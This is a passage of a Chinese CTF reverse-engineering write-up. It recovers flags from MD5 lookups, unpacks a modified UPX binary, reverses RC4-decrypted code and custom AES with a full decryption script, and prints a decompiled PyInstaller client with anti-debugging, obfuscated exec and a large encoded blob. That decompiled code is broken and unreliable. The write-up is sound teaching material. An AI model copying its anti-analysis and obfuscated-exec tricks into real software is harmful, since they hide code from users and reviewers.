"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"e4da3b7fbbce2345d7772b0674a318d5",
"e1671797c52e15f763380b45e841ec32",
"8f14e45fceea167a5a36dedd4bea2543",
"336d5ebc5436534e61d16e63ddfca327",
"c9f0f895fb98ab9159f51fd0297e236d",
"c9f0f895fb98ab9159f51fd0297e236d",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"cfcd208495d565ef66e7dff9f98764da",
"336d5ebc5436534e61d16e63ddfca327",
"1679091c5a880faf6fb5e6087eb1b2dc",
"1679091c5a880faf6fb5e6087eb1b2dc",
"4a8a08f09d37b73795649038408b5f33",
"8f14e45fceea167a5a36dedd4bea2543",
"e1671797c52e15f763380b45e841ec32",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"92eb5ffee6ae2fec3ad71c777531578f",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"e1671797c52e15f763380b45e841ec32",
"cfcd208495d565ef66e7dff9f98764da",
"e4da3b7fbbce2345d7772b0674a318d5",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf"    
]
rev ={}
for i in string.printable:
    rev[hashlib.md5(i.encode()).hexdigest()] = i
flag="".join([rev[i] for i in a])
print(flag)

运行得到 flag:dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

re2

upx 魔改壳,但是将 CTF 改回 UPX 依旧没法脱壳

x64dbg 手脱,此处在 rsi 打下硬件断点

找到这里的大跳

步进 dump 下来即可

进去找到一大段非常可疑的 base64 字符

提取出来得到一个新的程序 download.exe

进入定位到 sub_401A10 函数

进入 sub_4018F0 分析

sub_4018B0 中可以分析出是 rc4 初始化和解密

动调可以知道,这里是在解密代码段,断点打在这里

交叉引用定位到关键代码在 sub_404EF3 函数

函数 sub_404CB0 是关键加密代码,分析之后可知是 aes-cbc 模式的加密, v12 是输入的 key,传入的参数分别是 key 和 iv,密文是底下 v13 的两个数

提取出来之后,尝试在 cyberchef 中解密

解密失败,重新分析代码可知,使用了经典的 aes 魔改,虽然没改 S 盒,但是改了 rcon 常数

以及在函数 sub_404940 中可以看出,这个 aes 先做了轮密钥加,再做了列混淆

exp 如下

import binascii


SBOX = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
INV_SBOX = [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]

key = "c23012ab39101833f8ed4e468da15d8d8cfbf0726899dc7c846e7ecf32bbdaf8"
iv = "aeba0dbbca267f9906ed7c70e38d8b11"
cipher = "9B5E1E8FD7C34362A23786C0CE3D3CF4C3B688FF3C9C13D2BB6F49CEFF59A25C36E4619E6061C3BB3F63AF003B3D8DA7"


def xtime(a: int) -> int:
    a <<= 1
    if a & 0x100:
        a ^= 0x11B
    return a & 0xFF

def mul(a: int, b: int) -> int:
    res = 0
    while b:
        if b & 1:
            res ^= a
        a = xtime(a)
        b >>= 1
    return res

def xor_bytes(a, b):
    return [x ^ y for x, y in zip(a, b)]

def inv_shift_rows(s):
    return [
        s[0], s[13], s[10], s[7],
        s[4], s[1], s[14], s[11],
        s[8], s[5], s[2], s[15],
        s[12], s[9], s[6], s[3],
    ]

def inv_mix_columns(s):
    out = s[:]
    for c in range(4):
        i = 4 * c
        a0, a1, a2, a3 = s[i:i + 4]
        out[i + 0] = mul(a0, 14) ^ mul(a1, 11) ^ mul(a2, 13) ^ mul(a3, 9)
        out[i + 1] = mul(a0, 9) ^ mul(a1, 14) ^ mul(a2, 11) ^ mul(a3, 13)
        out[i + 2] = mul(a0, 13) ^ mul(a1, 9) ^ mul(a2, 14) ^ mul(a3, 11)
        out[i + 3] = mul(a0, 11) ^ mul(a1, 13) ^ mul(a2, 9) ^ mul(a3, 14)
    return out

def key_expansion_256_custom(key_bytes, sbox, rcon):
    Nk = 8
    Nr = 14
    Nb = 4
    w = [list(key_bytes[i:i + 4]) for i in range(0, 32, 4)]
    i = Nk
    while len(w) < Nb * (Nr + 1):
        temp = w[-1][:]
        if i % Nk == 0:
            temp = temp[1:] + temp[:1]         
            temp = [sbox[x] for x in temp]      
            temp[0] ^= rcon[(i // Nk) - 1]      
        elif i % Nk == 4:
            temp = [sbox[x] for x in temp]
        temp = [temp[j] ^ w[-Nk][j] for j in range(4)]
        w.append(temp)
        i += 1
    
    round_keys = []
    for r in range(Nr + 1):
        rk = []
        for c in range(4): rk += w[4 * r + c]
        round_keys.append(rk)
    return round_keys

def aes256_custom_decrypt_block(block16, round_keys, inv_sbox):
    s = block16[:]
    s = xor_bytes(s, round_keys[14])
    s = inv_shift_rows(s)
    s = [inv_sbox[x] for x in s]

    for r in range(13, 0, -1):
        s = xor_bytes(s, round_keys[r])
        s = inv_mix_columns(s)
        s = inv_shift_rows(s)
        s = [inv_sbox[x] for x in s]
    s = xor_bytes(s, round_keys[0])
    return s

def decrypt_all(key_hex, iv_hex, cipher_hex, sbox, inv_sbox, rcon):
    key = list(binascii.unhexlify(key_hex))
    iv = list(binascii.unhexlify(iv_hex))
    
    if len(cipher_hex) % 32 != 0:
        cipher_hex = cipher_hex[:(len(cipher_hex)//32)*32]
    
    ciphertext_bytes = binascii.unhexlify(cipher_hex)
    cipher_blocks = [list(ciphertext_bytes[i:i+16]) for i in range(0, len(ciphertext_bytes), 16)]

    round_keys = key_expansion_256_custom(key, sbox, rcon)

    plain = []
    prev = iv
    for blk in cipher_blocks:
        dec = aes256_custom_decrypt_block(blk, round_keys, inv_sbox)
        pt = xor_bytes(dec, prev)
        plain.extend(pt)
        prev = blk

    plain_bytes = bytes(plain)
    
    try:
        pad_len = plain_bytes[-1]
        if 0 < pad_len <= 16:
            flag = plain_bytes[:-pad_len]
            print("解密结果:", flag.decode('utf-8', errors='ignore'))
        else:
            print("Padding 异常,结果可能非标准字符串")
    except Exception as e:
        print("去除 Padding 失败:", e)


if __name__ == "__main__":
    rcon = [  0x9C, 0x10, 0x13, 0x15, 0x19, 0x01, 0x31, 0x51, 0x91, 0x0A, 
  0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00]

    decrypt_all(key, iv, cipher, SBOX, INV_SBOX, rcon)

得到 flag :dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}

re3

发现 client 是一个 pyinstaller 打包的 exe,解包后,使用 pylingual 项目反汇编得到如下代码(用 pycdc 或其他工具反汇编会导致得不到 oe 函数逻辑,使用最新的项目虽然显示有误,但可以正确反汇编)

import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(_d, _k1, _k2, _rn):
    # ***&lt;module&gt;._oe: Failure: Compilation Error
    try:
        _b = base64.b85decode(_d.encode())
        _r = []
        for _i, _x in enumerate(_b):
            return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn),
            _r.append(_x, _k if _k else None)
        _s = bytes(_r).decode()
        _res = []
        for _c in _s:
            if _c.isalpha():
                _base = ord('A') if _c.isupper() else ord('a')
                _res.append((chr, ord(_c), _base, _rn, 26, _base))
            else:
                if _c.isdigit():
                    _res.append(str(int(_c), _rn or 10))
                else:
                    _res.append(_c)
        return ''.join(_res)
    except:
        return _d
_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)
for _k in dir(builtins):
    if not _k.startswith('_'):
        _globs[_k] = getattr(builtins, _k)
_globs['base64'] = base64
_globs['sys'] = sys
_globs['os'] = os
_globs['json'] = json
_globs['socket'] = socket
_globs['hashlib'] = hashlib
_globs['crypt_core'] = crypt_core
def _obf_check():
    if hasattr(sys, 'gettrace'):
        _tr = sys.gettrace()
        if _tr is not None:
            return False
    return True
def _obf_exec(_code):
    # ***&lt;module&gt;._obf_exec: Failure: Different bytecode
    if not _obf_check():
        return None
    else:
        exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))
_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD&lt;CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D&lt;CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!&gt;hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D&lt;CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D&lt;CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT&gt;BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*&lt;UurQmAUz;#VQpe$VLBivGBP&lt;JULZ0sH7Ot~ASg37IUpq&lt;GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C&lt;EB_J{}DGCZ&gt;Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB&lt;ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I&gt;SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF&lt;SMPF1wLQF*&lt;Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb&lt;8AX8L9PDDXcL|;KnP)I&gt;SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2&lt;tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF&lt;SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$&lt;o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~&lt;LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2&lt;b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ&gt;1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D&lt;Cl`3LqdLAaZ4Nb#iVXUw9xsJs&gt;a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu&lt;VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X&gt;K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu&lt;VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js&gt;d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe&lt;D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X&gt;4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X&lt;nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W&gt;9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu&lt;VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc&lt;&ARr(hARr(hARr)LWMyGwUt?ixV&lt;;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs&gt;nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe&lt;D}ARr)LX=HdHJs&gt;a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT&lt;ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js&gt;g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^&lt;gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z&gt;ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I&lt;WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs&gt;hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;J